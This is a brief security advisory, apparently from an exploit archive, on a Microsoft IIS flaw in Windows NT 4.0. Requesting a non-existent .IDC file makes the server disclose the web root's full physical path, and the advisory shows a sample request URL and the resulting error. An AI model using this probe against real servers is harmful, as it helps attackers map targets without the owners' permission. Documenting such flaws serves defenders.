Microsoft IIS (Windows NT 4.0/SP1/SP2/SP3/SP4/SP5) - '.IDC' Path Mapping
source: https://www.securityfocus.com/bid/299/info
The full physical path name for the IIS web server root directory may be obtained by attempting to view a non-existent .IDC file. The web server will return an error message that lists the absolute pathname of the "missing" .IDC file.
"http://www.someURL.com/hackme.idc"
will return:
Error Performing Query
Error processing file 'c:\inetpub\scripts\samples\hackme.idc'